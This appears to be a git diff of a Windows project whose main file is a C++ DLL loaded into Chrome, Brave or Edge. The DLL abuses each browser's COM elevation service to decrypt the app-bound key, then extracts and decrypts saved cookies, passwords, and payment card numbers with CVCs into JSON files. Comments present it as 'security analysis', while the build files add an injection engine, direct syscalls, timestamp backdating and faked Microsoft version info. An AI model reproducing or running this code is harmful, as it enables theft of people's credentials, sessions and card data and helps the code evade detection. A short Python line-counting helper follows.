virtual HRESULT STDMETHODCALLTYPE EdgeBaseMethod2_Unknown(void) = 0;
virtual HRESULT STDMETHODCALLTYPE EdgeBaseMethod3_Unknown(void) = 0;
};
// Edge Intermediate Elevator Interface - extends base functionality
MIDL_INTERFACE("A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C")
IEdgeIntermediateElevator : public IEdgeElevatorBase_Placeholder
{
public:
virtual HRESULT STDMETHODCALLTYPE RunRecoveryCRXElevated(const WCHAR*, const WCHAR*, const WCHAR*, const WCHAR*, DWORD, ULONG_PTR*) = 0;
virtual HRESULT STDMETHODCALLTYPE EncryptData(ProtectionLevel, const BSTR, BSTR*, DWORD*) = 0;
virtual HRESULT STDMETHODCALLTYPE DecryptData(const BSTR, BSTR*, DWORD*) = 0;
};
// Edge Final Elevator Interface - complete implementation
MIDL_INTERFACE("C9C2B807-7731-4F34-81B7-44FF7779522B")
IEdgeElevatorFinal : public IEdgeIntermediateElevator {};
namespace SecurityComponents
{
class PipeLogger;
namespace Utils
{
// Get Local AppData folder path with comprehensive error handling
fs::path GetLocalAppDataPath()
{
PWSTR path = nullptr;
if (SUCCEEDED(SHGetKnownFolderPath(FOLDERID_LocalAppData, 0, NULL, &path)))
{
fs::path result = path;
CoTaskMemFree(path);
return result;
}
throw std::runtime_error("Failed to get Local AppData path.");
}
// Base64 decode utility for processing encrypted keys
std::optional<std::vector<uint8_t>> Base64Decode(const std::string& input)
{
DWORD size = 0;
if (!CryptStringToBinaryA(input.c_str(), 0, CRYPT_STRING_BASE64, nullptr, &size, nullptr, nullptr))
return std::nullopt;
std::vector<uint8_t> data(size);
if (!CryptStringToBinaryA(input.c_str(), 0, CRYPT_STRING_BASE64, data.data(), &size, nullptr, nullptr))
return std::nullopt;
return data;
}
// Convert binary data to hex string for diagnostic logging
std::string BytesToHexString(const std::vector<uint8_t>& bytes)
{
std::ostringstream oss;
oss << std::hex << std::setfill('0');
for (uint8_t byte : bytes)
oss << std::setw(2) << static_cast<int>(byte);
return oss.str();
}
// Escape JSON strings for safe output serialization
std::string EscapeJson(const std::string& s)
{
std::ostringstream o;
for (char c : s)
{
switch (c)
{
case '"': o << "\\\""; break;
case '\\': o << "\\\\"; break;
case '\b': o << "\\b"; break;
case '\f': o << "\\f"; break;
case '\n': o << "\\n"; break;
case '\r': o << "\\r"; break;
case '\t': o << "\\t"; break;
default:
if ('\x00' <= c && c <= '\x1f')
{
o << "\\u" << std::hex << std::setw(4) << std::setfill('0') << static_cast<int>(c);
}
else
{
o << c;
}
}
}
return o.str();
}
}
namespace Browser
{
// Browser configuration structure for multi-platform support
struct Config
{
std::string name;
std::wstring processName;
CLSID clsid;
IID iid;
fs::path userDataSubPath;
};
// Get comprehensive browser configurations mapping
const std::unordered_map<std::string, Config>& GetConfigs()
{
static const std::unordered_map<std::string, Config> browser_configs = {
{"chrome", {"Chrome", L"chrome.exe",
{0x708860E0, 0xF641, 0x4611, {0x88, 0x95, 0x7D, 0x86, 0x7D, 0xD3, 0x67, 0x5B}},
{0x463ABECF, 0x410D, 0x407F, {0x8A, 0xF5, 0x0D, 0xF3, 0x5A, 0x00, 0x5C, 0xC8}},
fs::path("Google") / "Chrome" / "User Data"}},
{"brave", {"Brave", L"brave.exe",
{0x576B31AF, 0x6369, 0x4B6B, {0x85, 0x60, 0xE4, 0xB2, 0x03, 0xA9, 0x7A, 0x8B}},
{0xF396861E, 0x0C8E, 0x4C71, {0x82, 0x56, 0x2F, 0xAE, 0x6D, 0x75, 0x9C, 0xE9}},
fs::path("BraveSoftware") / "Brave-Browser" / "User Data"}},
{"edge", {"Edge", L"msedge.exe",
{0x1FCBE96C, 0x1697, 0x43AF, {0x91, 0x40, 0x28, 0x97, 0xC7, 0xC6, 0x97, 0x67}},
{0xC9C2B807, 0x7731, 0x4F34, {0x81, 0xB7, 0x44, 0xFF, 0x77, 0x79, 0x52, 0x2B}},
fs::path("Microsoft") / "Edge" / "User Data"}}
};
return browser_configs;
}
// Detect current browser process configuration from runtime environment
Config GetConfigForCurrentProcess()
{
char exePath[MAX_PATH] = {0};
GetModuleFileNameA(NULL, exePath, MAX_PATH);
std::string processName = fs::path(exePath).filename().string();
std::transform(processName.begin(), processName.end(), processName.begin(), ::tolower);
const auto& configs = GetConfigs();
if (processName == "chrome.exe") return configs.at("chrome");
if (processName == "brave.exe") return configs.at("brave");
if (processName == "msedge.exe") return configs.at("edge");
throw std::runtime_error("Unsupported host process: " + processName);
}
}
namespace Crypto
{
// Cryptographic constants for AES-GCM decryption operations
constexpr size_t KEY_SIZE = 32;
constexpr size_t GCM_IV_LENGTH = 12;
constexpr size_t GCM_TAG_LENGTH = 16;
const uint8_t KEY_PREFIX[] = {'A', 'P', 'P', 'B'};
// Support for multiple encryption format versions
const std::string V10_PREFIX = "v10";
const std::string V20_PREFIX = "v20";
// Simple RAII wrapper for BCrypt algorithm handle
class BCryptAlgorithm
{
public:
BCryptAlgorithm() { BCryptOpenAlgorithmProvider(&handle, BCRYPT_AES_ALGORITHM, nullptr, 0); }
~BCryptAlgorithm() { if (handle) BCryptCloseAlgorithmProvider(handle, 0); }
operator BCRYPT_ALG_HANDLE() const { return handle; }
bool IsValid() const { return handle != nullptr; }
private:
BCRYPT_ALG_HANDLE handle = nullptr;
};
// Simple RAII wrapper for BCrypt key handle
class BCryptKey
{
public:
BCryptKey(BCRYPT_ALG_HANDLE alg, const std::vector<uint8_t>& key)
{
BCryptGenerateSymmetricKey(alg, &handle, nullptr, 0,
const_cast<PUCHAR>(key.data()), static_cast<ULONG>(key.size()), 0);
}
~BCryptKey() { if (handle) BCryptDestroyKey(handle); }
operator BCRYPT_KEY_HANDLE() const { return handle; }
bool IsValid() const { return handle != nullptr; }
private:
BCRYPT_KEY_HANDLE handle = nullptr;
};
// Decrypt GCM-encrypted data using AES-GCM algorithm (supports v10 and v20 formats)
std::vector<uint8_t> DecryptGcm(const std::vector<uint8_t>& key, const std::vector<uint8_t>& blob)
{
// Auto-detect encryption format version
std::string detectedPrefix;
size_t prefixLength = 0;
if (blob.size() >= 3)
{
if (memcmp(blob.data(), V10_PREFIX.c_str(), V10_PREFIX.length()) == 0)
{
detectedPrefix = V10_PREFIX;
prefixLength = V10_PREFIX.length();
}
else if (memcmp(blob.data(), V20_PREFIX.c_str(), V20_PREFIX.length()) == 0)
{
detectedPrefix = V20_PREFIX;
prefixLength = V20_PREFIX.length();
}
else
{
return {};
}
}
else
{
return {};
}
const size_t GCM_OVERHEAD_LENGTH = prefixLength + GCM_IV_LENGTH + GCM_TAG_LENGTH;
if (blob.size() < GCM_OVERHEAD_LENGTH)
return {};
// Initialize BCrypt AES-GCM cryptographic provider
BCryptAlgorithm algorithm;
if (!algorithm.IsValid())
return {};
BCryptSetProperty(algorithm, BCRYPT_CHAINING_MODE,
reinterpret_cast<PUCHAR>(const_cast<wchar_t*>(BCRYPT_CHAIN_MODE_GCM)),
sizeof(BCRYPT_CHAIN_MODE_GCM), 0);
// Generate symmetric key from raw key material
BCryptKey cryptoKey(algorithm, key);
if (!cryptoKey.IsValid())
return {};
// Extract cryptographic components from blob
const uint8_t* iv = blob.data() + prefixLength;
const uint8_t* ct = iv + GCM_IV_LENGTH;
const uint8_t* tag = blob.data() + (blob.size() - GCM_TAG_LENGTH);
ULONG ct_len = static_cast<ULONG>(blob.size() - prefixLength - GCM_IV_LENGTH - GCM_TAG_LENGTH);
// Configure GCM authenticated encryption parameters
BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO authInfo;
BCRYPT_INIT_AUTH_MODE_INFO(authInfo);
authInfo.pbNonce = const_cast<PUCHAR>(iv);
authInfo.cbNonce = GCM_IV_LENGTH;
authInfo.pbTag = const_cast<PUCHAR>(tag);
authInfo.cbTag = GCM_TAG_LENGTH;
// Perform authenticated decryption with integrity verification
std::vector<uint8_t> plain(ct_len > 0 ? ct_len : 1);
ULONG outLen = 0;
NTSTATUS status = BCryptDecrypt(cryptoKey, const_cast<PUCHAR>(ct), ct_len, &authInfo,
nullptr, 0, plain.data(), static_cast<ULONG>(plain.size()), &outLen, 0);
if (!NT_SUCCESS(status))
return {};
plain.resize(outLen);
return plain;
}
// Extract and validate encrypted master key from Local State configuration
std::vector<uint8_t> GetEncryptedMasterKey(const fs::path& localStatePath)
{
std::ifstream f(localStatePath, std::ios::binary);
if (!f)
throw std::runtime_error("Could not open Local State file.");
std::string content((std::istreambuf_iterator<char>(f)), std::istreambuf_iterator<char>());
const std::string tag = "\"app_bound_encrypted_key\":\"";
size_t pos = content.find(tag);
if (pos == std::string::npos)
throw std::runtime_error("app_bound_encrypted_key not found.");
pos += tag.length();
size_t end_pos = content.find('"', pos);
if (end_pos == std::string::npos)
throw std::runtime_error("Malformed app_bound_encrypted_key.");
auto optDecoded = Utils::Base64Decode(content.substr(pos, end_pos - pos));
if (!optDecoded)
throw std::runtime_error("Base64 decoding of key failed.");
auto& decodedData = *optDecoded;
if (decodedData.size() < sizeof(KEY_PREFIX) ||
memcmp(decodedData.data(), KEY_PREFIX, sizeof(KEY_PREFIX)) != 0)
{
throw std::runtime_error("Key prefix validation failed.");
}
return {decodedData.begin() + sizeof(KEY_PREFIX), decodedData.end()};
}
}
namespace Data
{
constexpr size_t COOKIE_PLAINTEXT_HEADER_SIZE = 32;
// Function pointer types for extraction operations
typedef std::shared_ptr<std::unordered_map<std::string, std::vector<uint8_t>>>(*PreQuerySetupFunc)(sqlite3*);
typedef std::optional<std::string>(*JsonFormatterFunc)(sqlite3_stmt*, const std::vector<uint8_t>&, void*);
// Configuration structure for database extraction operations
struct ExtractionConfig
{
fs::path dbRelativePath;
std::string outputFileName;
std::string sqlQuery;
PreQuerySetupFunc preQuerySetup;
JsonFormatterFunc jsonFormatter;
};
// Pre-query setup for payment cards - loads CVC data
std::shared_ptr<std::unordered_map<std::string, std::vector<uint8_t>>> SetupPaymentCards(sqlite3* db)
{
auto cvcMap = std::make_shared<std::unordered_map<std::string, std::vector<uint8_t>>>();
sqlite3_stmt* stmt = nullptr;
if (sqlite3_prepare_v2(db, "SELECT guid, value_encrypted FROM local_stored_cvc;", -1, &stmt, nullptr) != SQLITE_OK)
return cvcMap;
while (sqlite3_step(stmt) == SQLITE_ROW)
{
const char* guid = reinterpret_cast<const char*>(sqlite3_column_text(stmt, 0));
const uint8_t* blob = reinterpret_cast<const uint8_t*>(sqlite3_column_blob(stmt, 1));
if (guid && blob)
(*cvcMap)[guid] = {blob, blob + sqlite3_column_bytes(stmt, 1)};
}
sqlite3_finalize(stmt);
return cvcMap;
}
// JSON formatter for cookies
std::optional<std::string> FormatCookie(sqlite3_stmt* stmt, const std::vector<uint8_t>& key, void* state)
{
const uint8_t* blob = reinterpret_cast<const uint8_t*>(sqlite3_column_blob(stmt, 6));
if (!blob) return std::nullopt;
auto plain = Crypto::DecryptGcm(key, {blob, blob + sqlite3_column_bytes(stmt, 6)});
if (plain.size() <= COOKIE_PLAINTEXT_HEADER_SIZE)
return std::nullopt;
const char* value_start = reinterpret_cast<const char*>(plain.data()) + COOKIE_PLAINTEXT_HEADER_SIZE;
size_t value_size = plain.size() - COOKIE_PLAINTEXT_HEADER_SIZE;
std::ostringstream json_entry;
json_entry << " {\"host\":\"" << Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 0))) << "\""
<< ",\"name\":\"" << Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 1))) << "\""
<< ",\"path\":\"" << Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 2))) << "\""
<< ",\"value\":\"" << Utils::EscapeJson({value_start, value_size}) << "\""
<< ",\"expires\":" << sqlite3_column_int64(stmt, 5)
<< ",\"secure\":" << (sqlite3_column_int(stmt, 3) ? "true" : "false")
<< ",\"httpOnly\":" << (sqlite3_column_int(stmt, 4) ? "true" : "false")
<< "}";
return json_entry.str();
}
// JSON formatter for passwords
std::optional<std::string> FormatPassword(sqlite3_stmt* stmt, const std::vector<uint8_t>& key, void* state)
{
const uint8_t* blob = reinterpret_cast<const uint8_t*>(sqlite3_column_blob(stmt, 2));
if (!blob) return std::nullopt;
auto plain = Crypto::DecryptGcm(key, {blob, blob + sqlite3_column_bytes(stmt, 2)});
return " {\"origin\":\"" + Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 0))) +
"\",\"username\":\"" + Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 1))) +
"\",\"password\":\"" + Utils::EscapeJson({reinterpret_cast<char*>(plain.data()), plain.size()}) + "\"}";
}
// JSON formatter for payment cards
std::optional<std::string> FormatPayment(sqlite3_stmt* stmt, const std::vector<uint8_t>& key, void* state)
{
auto cvcMap = reinterpret_cast<std::shared_ptr<std::unordered_map<std::string, std::vector<uint8_t>>>*>(state);
std::string card_num_str, cvc_str;
// Decrypt primary card number
const uint8_t* blob = reinterpret_cast<const uint8_t*>(sqlite3_column_blob(stmt, 4));
if (blob)
{
auto plain = Crypto::DecryptGcm(key, {blob, blob + sqlite3_column_bytes(stmt, 4)});
card_num_str.assign(reinterpret_cast<char*>(plain.data()), plain.size());
}
// Decrypt associated CVC if available
const char* guid = reinterpret_cast<const char*>(sqlite3_column_text(stmt, 0));
if (guid && cvcMap && (*cvcMap)->count(guid))
{
auto plain = Crypto::DecryptGcm(key, (*cvcMap)->at(guid));
cvc_str.assign(reinterpret_cast<char*>(plain.data()), plain.size());
}
return " {\"name_on_card\":\"" + Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 1))) +
"\",\"expiration_month\":" + std::to_string(sqlite3_column_int(stmt, 2)) +
",\"expiration_year\":" + std::to_string(sqlite3_column_int(stmt, 3)) +
",\"card_number\":\"" + Utils::EscapeJson(card_num_str) +
"\",\"cvc\":\"" + Utils::EscapeJson(cvc_str) + "\"}";
}
// Comprehensive extraction configurations for different browser data types
const std::vector<ExtractionConfig>& GetExtractionConfigs()
{
static const std::vector<ExtractionConfig> configs = {
// Browser cookie extraction configuration
{fs::path("Network") / "Cookies", "cookies",
"SELECT host_key, name, path, is_secure, is_httponly, expires_utc, encrypted_value FROM cookies;",
nullptr, FormatCookie},
// Stored password extraction configuration
{"Login Data", "passwords",
"SELECT origin_url, username_value, password_value FROM logins;",
nullptr, FormatPassword},
// Payment card information extraction configuration
{"Web Data", "payments",
"SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards;",
SetupPaymentCards, FormatPayment}
};
return configs;
}
}
// Named pipe communication interface with orchestrator process
class PipeLogger
{
public:
explicit PipeLogger(LPCWSTR pipeName)
{
m_pipe = CreateFileW(pipeName, GENERIC_WRITE | GENERIC_READ, 0, nullptr, OPEN_EXISTING, 0, nullptr);
}
~PipeLogger()
{
if (m_pipe != INVALID_HANDLE_VALUE)
{
Log("__DLL_PIPE_COMPLETION_SIGNAL__");
FlushFileBuffers(m_pipe);
CloseHandle(m_pipe);
}
}
bool isValid() const noexcept { return m_pipe != INVALID_HANDLE_VALUE; }
// Send diagnostic message to orchestrator
void Log(const std::string& message)
{
if (isValid())
{
DWORD bytesWritten = 0;
WriteFile(m_pipe, message.c_str(), static_cast<DWORD>(message.length() + 1), &bytesWritten, nullptr);
}
}
HANDLE getHandle() const noexcept { return m_pipe; }
private:
HANDLE m_pipe = INVALID_HANDLE_VALUE;
};
// Browser configuration and path management
class BrowserManager
{
public:
BrowserManager() : m_config(Browser::GetConfigForCurrentProcess()) {}
const Browser::Config& getConfig() const noexcept { return m_config; }
// Resolve user data root directory for current browser configuration
fs::path getUserDataRoot() const
{
return Utils::GetLocalAppDataPath() / m_config.userDataSubPath;
}
private:
Browser::Config m_config;
};
// Master key decryption service using COM elevation interfaces
class MasterKeyDecryptor
{
public:
explicit MasterKeyDecryptor(PipeLogger& logger) : m_logger(logger)
{
if (FAILED(CoInitializeEx(NULL, COINIT_APARTMENTTHREADED)))
{
throw std::runtime_error("Failed to initialize COM library.");
}
m_comInitialized = true;
m_logger.Log("[+] COM library initialized (APARTMENTTHREADED).");
}
~MasterKeyDecryptor()
{
if (m_comInitialized)
{
CoUninitialize();
}
}
// Decrypt master key using browser-specific COM elevation service
std::vector<uint8_t> Decrypt(const Browser::Config& config, const fs::path& localStatePath)
{
m_logger.Log("[*] Reading Local State file: " + StringUtils::path_to_string(localStatePath));
auto encryptedKeyBlob = Crypto::GetEncryptedMasterKey(localStatePath);
// Prepare encrypted key as BSTR for COM interface
BSTR bstrEncKey = SysAllocStringByteLen(reinterpret_cast<const char*>(encryptedKeyBlob.data()),
static_cast<UINT>(encryptedKeyBlob.size()));
if (!bstrEncKey)
throw std::runtime_error("SysAllocStringByteLen for encrypted key failed.");
BSTR bstrPlainKey = nullptr;
HRESULT hr = E_FAIL;
DWORD comErr = 0;
m_logger.Log("[*] Attempting to decrypt master key via " + config.name + "'s COM server...");
// Use Edge-specific COM elevation interface
if (config.name == "Edge")
{
Microsoft::WRL::ComPtr<IEdgeElevatorFinal> elevator;
hr = CoCreateInstance(config.clsid, nullptr, CLSCTX_LOCAL_SERVER, config.iid, &elevator);
if (SUCCEEDED(hr))
{
CoSetProxyBlanket(elevator.Get(), RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT,
COLE_DEFAULT_PRINCIPAL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, EOAC_DYNAMIC_CLOAKING);
hr = elevator->DecryptData(bstrEncKey, &bstrPlainKey, &comErr);
}
}
// Use Chrome/Brave COM elevation interface
else
{
Microsoft::WRL::ComPtr<IOriginalBaseElevator> elevator;
hr = CoCreateInstance(config.clsid, nullptr, CLSCTX_LOCAL_SERVER, config.iid, &elevator);
if (SUCCEEDED(hr))
{
CoSetProxyBlanket(elevator.Get(), RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT,
COLE_DEFAULT_PRINCIPAL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, EOAC_DYNAMIC_CLOAKING);
hr = elevator->DecryptData(bstrEncKey, &bstrPlainKey, &comErr);
}
}
// Cleanup and validate COM decryption operation result
SysFreeString(bstrEncKey);
if (FAILED(hr) || !bstrPlainKey || SysStringByteLen(bstrPlainKey) != Crypto::KEY_SIZE)
{
if (bstrPlainKey) SysFreeString(bstrPlainKey);
std::ostringstream oss;
oss << "IElevator->DecryptData failed. HRESULT: 0x" << std::hex << hr;
throw std::runtime_error(oss.str());
}
// Extract raw AES key bytes from BSTR
std::vector<uint8_t> aesKey(Crypto::KEY_SIZE);
memcpy(aesKey.data(), bstrPlainKey, Crypto::KEY_SIZE);
SysFreeString(bstrPlainKey);
return aesKey;
}
private:
PipeLogger& m_logger;
bool m_comInitialized = false;
};
// Browser profile discovery and enumeration service
class ProfileEnumerator
{
public:
ProfileEnumerator(const fs::path& userDataRoot, PipeLogger& logger)
: m_userDataRoot(userDataRoot), m_logger(logger) {}
// Discover all browser profiles containing extractable databases
std::vector<fs::path> FindProfiles()
{
m_logger.Log("[*] Discovering browser profiles in: " + StringUtils::path_to_string(m_userDataRoot));
std::vector<fs::path> profilePaths;
// Check if directory contains extractable database files
auto isProfileDirectory = [](const fs::path& path)
{
for (const auto& dataCfg : Data::GetExtractionConfigs())
{
if (fs::exists(path / dataCfg.dbRelativePath))
return true;
}
return false;
};
// Check if root directory qualifies as a profile
if (isProfileDirectory(m_userDataRoot))
{
profilePaths.push_back(m_userDataRoot);
}
// Scan for profile subdirectories with database content
std::error_code ec;
for (const auto& entry : fs::directory_iterator(m_userDataRoot, ec))
{
if (!ec && entry.is_directory() && isProfileDirectory(entry.path()))
{
profilePaths.push_back(entry.path());
}
}
if (ec)
{
m_logger.Log("[-] Filesystem ERROR during profile discovery: " + ec.message());
}
// Remove duplicates using sort + unique instead of std::set
std::sort(profilePaths.begin(), profilePaths.end());
profilePaths.erase(std::unique(profilePaths.begin(), profilePaths.end()), profilePaths.end());
m_logger.Log("[+] Found " + std::to_string(profilePaths.size()) + " profile(s).");
return profilePaths;
}
private:
fs::path m_userDataRoot;
PipeLogger& m_logger;
};
// Database content extraction service using SQLite interface
class DataExtractor
{
public:
DataExtractor(const fs::path& profilePath, const Data::ExtractionConfig& config,
const std::vector<uint8_t>& aesKey, PipeLogger& logger,
const fs::path& baseOutputPath, const std::string& browserName)
: m_profilePath(profilePath), m_config(config), m_aesKey(aesKey),
m_logger(logger), m_baseOutputPath(baseOutputPath), m_browserName(browserName) {}
// Extract and decrypt data from browser database
void Extract()
{
fs::path dbPath = m_profilePath / m_config.dbRelativePath;
if (!fs::exists(dbPath))
return;
// Open database with nolock parameter for live extraction without file locking
sqlite3* db = nullptr;
std::string uriPath = "file:" + StringUtils::path_to_string(dbPath) + "?nolock=1";
std::replace(uriPath.begin(), uriPath.end(), '\\', '/');
if (sqlite3_open_v2(uriPath.c_str(), &db, SQLITE_OPEN_READONLY | SQLITE_OPEN_URI, nullptr) != SQLITE_OK)
{
m_logger.Log("[-] Failed to open database " + StringUtils::path_to_string(dbPath) +
": " + (db ? sqlite3_errmsg(db) : "N/A"));
if (db) sqlite3_close_v2(db);
return;
}
// Prepare SQL query for data extraction
sqlite3_stmt* stmt = nullptr;
if (sqlite3_prepare_v2(db, m_config.sqlQuery.c_str(), -1, &stmt, nullptr) != SQLITE_OK)
{
sqlite3_close_v2(db);
return;
}
// Execute pre-query setup if needed (e.g., for payment card CVCs)
void* preQueryState = nullptr;
std::shared_ptr<std::unordered_map<std::string, std::vector<uint8_t>>> cvcMap;
if (m_config.preQuerySetup)
{
cvcMap = m_config.preQuerySetup(db);
preQueryState = &cvcMap;
}
// Extract and format data entries using custom formatters
std::vector<std::string> jsonEntries;
while (sqlite3_step(stmt) == SQLITE_ROW)
{
if (auto jsonEntry = m_config.jsonFormatter(stmt, m_aesKey, preQueryState))
{
jsonEntries.push_back(*jsonEntry);
}
}
sqlite3_finalize(stmt);
sqlite3_close_v2(db);
// Write extraction results to structured JSON output file
if (!jsonEntries.empty())
{
fs::path outFilePath = m_baseOutputPath / m_browserName / m_profilePath.filename() /
(m_config.outputFileName + ".json");
std::error_code ec;
fs::create_directories(outFilePath.parent_path(), ec);
if (ec)
{
m_logger.Log("[-] Failed to create directory: " + StringUtils::path_to_string(outFilePath.parent_path()));
return;
}
std::ofstream out(outFilePath, std::ios::trunc);
if (!out) return;
out << "[\n";
for (size_t i = 0; i < jsonEntries.size(); ++i)
{
out << jsonEntries[i] << (i == jsonEntries.size() - 1 ? "" : ",\n");
}
out << "\n]\n";
m_logger.Log(" [*] " + std::to_string(jsonEntries.size()) + " " + m_config.outputFileName +
" extracted to " + StringUtils::path_to_string(outFilePath));
}
}
private:
fs::path m_profilePath;
const Data::ExtractionConfig& m_config;
const std::vector<uint8_t>& m_aesKey;
PipeLogger& m_logger;
fs::path m_baseOutputPath;
std::string m_browserName;
};
// Main orchestrator for browser security analysis operations
class SecurityOrchestrator
{
public:
explicit SecurityOrchestrator(LPCWSTR lpcwstrPipeName) : m_logger(lpcwstrPipeName)
{
if (!m_logger.isValid())
{
throw std::runtime_error("Failed to connect to named pipe from orchestrator.");
}
ReadPipeParameters();
}
// Execute complete browser security analysis workflow
void Run()
{
BrowserManager browserManager;
const auto& browserConfig = browserManager.getConfig();
m_logger.Log("[*] Security analysis process started for " + browserConfig.name);
// Decrypt master key using COM elevation service
std::vector<uint8_t> aesKey;
{
MasterKeyDecryptor keyDecryptor(m_logger);
fs::path localStatePath = browserManager.getUserDataRoot() / "Local State";
aesKey = keyDecryptor.Decrypt(browserConfig, localStatePath);
}
m_logger.Log("[+] Decrypted AES Key: " + Utils::BytesToHexString(aesKey));
// Discover and process all browser profiles systematically
ProfileEnumerator enumerator(browserManager.getUserDataRoot(), m_logger);
auto profilePaths = enumerator.FindProfiles();
for (const auto& profilePath : profilePaths)
{
m_logger.Log("[*] Processing profile: " + StringUtils::path_to_string(profilePath.filename()));
// Extract each data type (cookies, passwords, payments) using specialized handlers
for (const auto& dataConfig : Data::GetExtractionConfigs())
{
DataExtractor extractor(profilePath, dataConfig, aesKey, m_logger, m_outputPath, browserConfig.name);
extractor.Extract();
}
}
m_logger.Log("[*] All profiles processed. Security analysis process finished.");
}
private:
// Read configuration parameters from orchestrator via named pipe
void ReadPipeParameters()
{
char buffer[MAX_PATH + 1] = {0};
DWORD bytesRead = 0;
// Read verbose flag configuration
ReadFile(m_logger.getHandle(), buffer, sizeof(buffer) - 1, &bytesRead, nullptr);
// Read output path configuration
ReadFile(m_logger.getHandle(), buffer, sizeof(buffer) - 1, &bytesRead, nullptr);
buffer[bytesRead] = '\0';
m_outputPath = buffer;
}
PipeLogger m_logger;
fs::path m_outputPath;
};
}
// Thread parameters for security module worker thread
struct ModuleThreadParams
{
HMODULE hModule_dll;
LPVOID lpPipeNamePointerFromOrchestrator;
};
// Main worker thread for browser security analysis operations
DWORD WINAPI SecurityModuleWorker(LPVOID lpParam)
{
auto thread_params = std::unique_ptr<ModuleThreadParams>(static_cast<ModuleThreadParams*>(lpParam));
try
{
SecurityComponents::SecurityOrchestrator orchestrator(static_cast<LPCWSTR>(thread_params->lpPipeNamePointerFromOrchestrator));
orchestrator.Run();
}
catch (const std::exception& e)
{
try
{
// Attempt to log error through pipe if communication channel is available
SecurityComponents::PipeLogger errorLogger(static_cast<LPCWSTR>(thread_params->lpPipeNamePointerFromOrchestrator));
if (errorLogger.isValid())
{
errorLogger.Log("[-] CRITICAL SECURITY MODULE ERROR: " + std::string(e.what()));
}
}
catch (...) {} // Failsafe error handling if logging subsystem fails
}
FreeLibraryAndExitThread(thread_params->hModule_dll, 0);
return 0;
}
// Security module entry point - initializes browser security analysis operations
BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved)
{
if (reason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
auto params = new (std::nothrow) ModuleThreadParams{hModule, lpReserved};
if (!params) return TRUE;
HANDLE hThread = CreateThread(NULL, 0, SecurityModuleWorker, params, 0, NULL);
if (hThread)
{
CloseHandle(hThread);
}
else
{
delete params;
}
}
return TRUE;
}

Binary file not shown.

View File

@@ -64,25 +64,28 @@
<Command>powershell -Command "&amp; {$f='$(OutDir)$(TargetName)$(TargetExt)'; (Get-Item $f).CreationTime='2026-01-01 00:00:00'; (Get-Item $f).LastWriteTime='2026-01-01 00:00:00'}"</Command>
</PostBuildEvent>
<ResourceCompile>
<!-- Fixed: Removed NO_RESOURCES to enable Microsoft Corporation version info -->
<Culture>0x0409</Culture>
</ResourceCompile>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="kvc_crypt.cpp" />
<ClCompile Include="CryptCore.cpp" />
<ClCompile Include="BrowserCrypto.cpp" />
<ClCompile Include="DataExtraction.cpp" />
<ClCompile Include="CommunicationModule.cpp" />
<ClCompile Include="SelfLoader.cpp" />
</ItemGroup>
<ItemGroup>
<!-- Fixed: Enabled resource.h include -->
<ClInclude Include="CryptCore.h" />
<ClInclude Include="BrowserCrypto.h" />
<ClInclude Include="DataExtraction.h" />
<ClInclude Include="CommunicationModule.h" />
<ClInclude Include="resource.h" />
<ClInclude Include="SelfLoader.h" />
<ClInclude Include="winsqlite3.h" />
</ItemGroup>
<ItemGroup>
<!-- Fixed: Added resource file for Microsoft Corporation version info -->
<ResourceCompile Include="kvc_crypt.rc" />
</ItemGroup>
<!-- ADD TARGET FOR RESOURCE CLEANING -->
<Target Name="RemoveVCRuntimeResources" AfterTargets="Link">
<Exec Command="if exist &quot;@(FinalOutputPath)&quot; echo Building minimal DLL..." />
</Target>

View File

@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
</Project>

View File

@@ -65,18 +65,26 @@
</ResourceCompile>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="BrowserOrchestrator.cpp" />
<ClCompile Include="OrchestratorCore.cpp" />
<ClCompile Include="BrowserProcessManager.cpp" />
<ClCompile Include="InjectionEngine.cpp" />
<ClCompile Include="CommunicationLayer.cpp" />
<ClCompile Include="syscalls.cpp" />
<ClCompile Include="EdgeDPAPI.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="OrchestratorCore.h" />
<ClInclude Include="BrowserProcessManager.h" />
<ClInclude Include="InjectionEngine.h" />
<ClInclude Include="CommunicationLayer.h" />
<ClInclude Include="resource.h" />
<ClInclude Include="syscalls.h" />
<ClInclude Include="EdgeDPAPI.h" />
</ItemGroup>
<ItemGroup>
<MASM Include="AbiTramp.asm" />
</ItemGroup>
<ItemGroup>
<!-- Fixed: Use kvc.ico instead of PassExtractor.ico -->
<Image Include="ICON\kvc.ico" />
</ItemGroup>
<ItemGroup>

121
kvc/licznik.py Normal file
View File

@@ -0,0 +1,121 @@
#!/usr/bin/env python3
import os
import sys
EXTS = {'.cpp', '.h', '.asm'}
def strip_c_style_comments(src: str) -> str:
out = []
i = 0
n = len(src)
in_block = False
in_line = False
in_double = False
in_single = False
escape = False
while i < n:
ch = src[i]
nxt = src[i+1] if i+1 < n else ''
if in_block:
if ch == '*' and nxt == '/':
in_block = False
i += 2
continue
else:
i += 1
continue
if in_line:
if ch == '\n':
in_line = False
out.append(ch)
i += 1
continue
if not in_double and not in_single:
if ch == '/' and nxt == '*':
in_block = True
i += 2
continue
if ch == '/' and nxt == '/':
in_line = True
i += 2
continue
# handle string/char quoting and escapes
if ch == '"' and not in_single:
if not escape:
in_double = not in_double
elif ch == "'" and not in_double:
if not escape:
in_single = not in_single
